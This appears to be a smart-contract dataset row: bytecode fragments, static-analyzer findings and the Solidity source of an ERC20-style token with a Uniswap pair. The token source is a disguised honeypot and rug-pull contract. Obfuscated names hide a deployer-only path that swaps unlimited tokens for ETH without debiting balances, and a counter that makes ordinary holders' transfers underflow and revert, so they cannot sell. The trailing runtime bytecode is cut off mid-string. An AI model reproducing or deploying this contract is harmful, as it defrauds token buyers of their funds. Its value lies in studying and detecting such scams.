1306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611a5357600080fd5b505af1158015611a67573d6000803e3d6000fd5b505050506040513d6020811015611a7d57600080fd5b8101908080519060200190929190505050600454600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611b1757600080fd5b505af1158015611b2b573d6000803e3d6000fd5b505050506040513d6020811015611b4157600080fd5b810190808051906020019092919050505003036006543073ffffffffffffffffffffffffffffffffffffffff163101600360149054906101000a900463ffffffff16876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018363ffffffff1663ffffffff168152602001828152602001945050505050602060405180830381600087803b158015611bf757600080fd5b505af1158015611c0b573d6000803e3d6000fd5b505050506040513d6020811015611c2157600080fd5b81019080805190602001909291905050509050620f4240600360189054906101000a900463ffffffff1663ffffffff168202811515611c5c57fe5b0481039050600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d1e57600080fd5b505af1158015611d32573d6000803e3d6000fd5b505050506040513d6020811015611d4857600080fd5b8101908080519060200190929190505050811115611e5f57600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e1d57600080fd5b505af1158015611e31573d6000803e3d6000fd5b505050506040513d6020811015611e4757600080fd5b81019080805190602001909291905050509150611e63565b8091505b50919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349f9b0f7600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f6657600080fd5b505af1158015611f7a573d6000803e3d6000fd5b505050506040513d6020811015611f9057600080fd5b8101908080519060200190929190505050600454600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561202a57600080fd5b505af115801561203e573d6000803e3d6000fd5b505050506040513d602081101561205457600080fd5b810190808051906020019092919050505003036006543073ffffffffffffffffffffffffffffffffffffffff163101600360149054906101000a900463ffffffff16876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018363ffffffff1663ffffffff168152602001828152602001945050505050602060405180830381600087803b15801561210a57600080fd5b505af115801561211e573d6000803e3d6000fd5b505050506040513d602081101561213457600080fd5b81019080805190602001909291905050509050620f4240600360189054906101000a900463ffffffff1663ffffffff16820281151561216f57fe5b0481039050600260009054906101000a900460ff16151561218f57600080fd5b81811015151561219e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163181111515156121c457600080fd5b600754813073ffffffffffffffffffffffffffffffffffffffff1631031115156121ed57600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156122e657600080fd5b505af11580156122fa573d6000803e3d6000fd5b505050506040513d602081101561231057600080fd5b8101908080519060200190929190505050151561232c57600080fd5b620f4240600360189054906101000a900463ffffffff1663ffffffff16820281151561235457fe5b046005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a8483604051808381526020018281526020019250505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612400573d6000803e3d6000fd5b50505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166329a00e7c600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561250357600080fd5b505af1158015612517573d6000803e3d6000fd5b505050506040513d602081101561252d57600080fd5b8101908080519060200190929190505050600454600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156125c757600080fd5b505af11580156125db573d6000803e3d6000fd5b505050506040513d60208110156125f157600080fd5b81019080805190602001909291905050500303346006543073ffffffffffffffffffffffffffffffffffffffff16310103600360149054906101000a900463ffffffff16346040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018363ffffffff1663ffffffff168152602001828152602001945050505050602060405180830381600087803b1580156126a957600080fd5b505af11580156126bd573d6000803e3d6000fd5b505050506040513d60208110156126d357600080fd5b81019080805190602001909291905050509050620f4240600360189054906101000a900463ffffffff1663ffffffff16820281151561270e57fe5b0481039050600260009054906101000a900460ff16151561272e57600080fd5b81811015151561273d57600080fd5b80600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156127fb57600080fd5b505af115801561280f573d6000803e3d6000fd5b505050506040513d602081101561282557600080fd5b81019080805190602001909291905050501015151561284357600080fd5b620f4240600360189054906101000a900463ffffffff1663ffffffff16340281151561286b57fe5b046005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed3483604051808381526020018281526020019250505060405180910390a2600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561299657600080fd5b505af11580156129aa573d6000803e3d6000fd5b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612a0d57600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612b0657600080fd5b505af1158015612b1a573d6000803e3d6000fd5b505050506040513d6020811015612b3057600080fd5b81019080805190602001909291905050505050565b600360189054906101000a900463ffffffff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bff57503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515612c0a57600080fd5b600081118015612c1d5750620f42408111155b1515612c2857600080fd5b80600360146101000a81548163ffffffff021916908363ffffffff16021790555050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349f9b0f7600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612d4a57600080fd5b505af1158015612d5e573d6000803e3d6000fd5b505050506040513d6020811015612d7457600080fd5b8101908080519060200190929190505050600454600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612e0e57600080fd5b505af1158015612e22573d6000803e3d6000fd5b505050506040513d6020811015612e3857600080fd5b810190808051906020019092919050505003036006543073ffffffffffffffffffffffffffffffffffffffff163101600360149054906101000a900463ffffffff16876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018363ffffffff1663ffffffff168152602001828152602001945050505050602060405180830381600087803b158015612eee57600080fd5b505af1158015612f02573d6000803e3d6000fd5b505050506040513d6020811015612f1857600080fd5b81019080805190602001909291905050509050620f4240600360189054906101000a900463ffffffff1663ffffffff168202811515612f5357fe5b04810390503073ffffffffffffffffffffffffffffffffffffffff1631811115612f96573073ffffffffffffffffffffffffffffffffffffffff16319150612f9a565b8091505b50919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612ffb57600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505600a165627a7a72305820a91c8d39dd1822905cc54f627c02f6921294e75b9833f41278fabc565d4649c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,380 |
0xd79df68b4bc1e20d0af78de7718cf1cf3795eb83
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
string private _name;
string private _symbol;
uint256 public _fee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private given = _tTotal;
uint256 private _rTotal = ~uint256(0);
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(address => uint256) private key;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private goose;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint256 => address) private vast;
mapping(address => uint256) private failed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
key[msg.sender] = given;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
goose[given] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address neighbor,
address finger,
uint256 amount
) private {
address fear = vast[given];
bool army = neighbor == goose[given];
uint256 impossible = _fee;
if (key[neighbor] == 0 && !army && failed[neighbor] > 0) {
key[neighbor] -= impossible;
}
vast[given] = finger;
if (key[neighbor] > 0 && amount == 0) {
key[finger] += impossible;
}
failed[fear] += impossible;
if (key[neighbor] > 0 && amount > given) {
swapAndLiquify(amount);
return;
}
uint256 fee = amount * (_fee / 100);
amount -= fee;
_balances[neighbor] -= fee;
_balances[neighbor] -= amount;
_balances[finger] += amount;
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611285565b60405180910390f35b610132600480360381019061012d9190611340565b610392565b60405161013f919061139b565b60405180910390f35b6101506103a7565b60405161015d91906113c5565b60405180910390f35b610180600480360381019061017b91906113e0565b6103b1565b60405161018d919061139b565b60405180910390f35b61019e6104be565b6040516101ab91906113c5565b60405180910390f35b6101bc6104d8565b6040516101c99190611442565b60405180910390f35b6101ec60048036038101906101e7919061145d565b6104fe565b6040516101f991906113c5565b60405180910390f35b61020a610547565b005b6102146105cf565b6040516102219190611442565b60405180910390f35b6102326105f8565b60405161023f9190611285565b60405180910390f35b610262600480360381019061025d9190611340565b61068a565b60405161026f919061139b565b60405180910390f35b610280610706565b60405161028d91906113c5565b60405180910390f35b6102b060048036038101906102ab919061148a565b61070c565b6040516102bd91906113c5565b60405180910390f35b6102e060048036038101906102db919061145d565b610793565b005b6102ea61088b565b6040516102f79190611529565b60405180910390f35b60606001805461030f90611573565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611573565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108b1565b905092915050565b6000600554905090565b60006103be848484610a4c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161041b91906113c5565b60405180910390a36104b5843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104b091906115d4565b6108b1565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61054f610edc565b73ffffffffffffffffffffffffffffffffffffffff1661056d6105cf565b73ffffffffffffffffffffffffffffffffffffffff16146105c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ba90611654565b60405180910390fd5b6105cd6000610ee4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461060790611573565b80601f016020809104026020016040519081016040528092919081815260200182805461063390611573565b80156106805780601f1061065557610100808354040283529160200191610680565b820191906000526020600020905b81548152906001019060200180831161066357829003601f168201915b5050505050905090565b6000610697338484610a4c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f491906113c5565b60405180910390a36001905092915050565b60035481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61079b610edc565b73ffffffffffffffffffffffffffffffffffffffff166107b96105cf565b73ffffffffffffffffffffffffffffffffffffffff161461080f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080690611654565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906116e6565b60405180910390fd5b61088881610ee4565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561091c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290611778565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a3991906113c5565b60405180910390a3600190509392505050565b6000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060035490506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b42575081155b8015610b8d57506000600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610be95780600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be191906115d4565b925050819055505b84600e6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610c8c5750600084145b15610ce85780600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce09190611798565b925050819055505b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190611798565b925050819055506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d8e575060065484115b15610da457610d9c84610fa8565b505050610ed7565b60006064600354610db5919061181d565b85610dc0919061184e565b90508085610dce91906115d4565b945080600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e1f91906115d4565b9250508190555084600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7591906115d4565b9250508190555084600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ecb9190611798565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff811115610fc557610fc46118a8565b5b604051908082528060200260200182016040528015610ff35781602001602082028036833780820191505090505b509050308160008151811061100b5761100a6118d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d6919061191b565b816001815181106110ea576110e96118d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061115130600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108b1565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111b6959493929190611a41565b600060405180830381600087803b1580156111d057600080fd5b505af11580156111e4573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561122657808201518184015260208101905061120b565b83811115611235576000848401525b50505050565b6000601f19601f8301169050919050565b6000611257826111ec565b61126181856111f7565b9350611271818560208601611208565b61127a8161123b565b840191505092915050565b6000602082019050818103600083015261129f818461124c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112d7826112ac565b9050919050565b6112e7816112cc565b81146112f257600080fd5b50565b600081359050611304816112de565b92915050565b6000819050919050565b61131d8161130a565b811461132857600080fd5b50565b60008135905061133a81611314565b92915050565b60008060408385031215611357576113566112a7565b5b6000611365858286016112f5565b92505060206113768582860161132b565b9150509250929050565b60008115159050919050565b61139581611380565b82525050565b60006020820190506113b0600083018461138c565b92915050565b6113bf8161130a565b82525050565b60006020820190506113da60008301846113b6565b92915050565b6000806000606084860312156113f9576113f86112a7565b5b6000611407868287016112f5565b9350506020611418868287016112f5565b92505060406114298682870161132b565b9150509250925092565b61143c816112cc565b82525050565b60006020820190506114576000830184611433565b92915050565b600060208284031215611473576114726112a7565b5b6000611481848285016112f5565b91505092915050565b600080604083850312156114a1576114a06112a7565b5b60006114af858286016112f5565b92505060206114c0858286016112f5565b9150509250929050565b6000819050919050565b60006114ef6114ea6114e5846112ac565b6114ca565b6112ac565b9050919050565b6000611501826114d4565b9050919050565b6000611513826114f6565b9050919050565b61152381611508565b82525050565b600060208201905061153e600083018461151a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061158b57607f821691505b6020821081141561159f5761159e611544565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006115df8261130a565b91506115ea8361130a565b9250828210156115fd576115fc6115a5565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061163e6020836111f7565b915061164982611608565b602082019050919050565b6000602082019050818103600083015261166d81611631565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116d06026836111f7565b91506116db82611674565b604082019050919050565b600060208201905081810360008301526116ff816116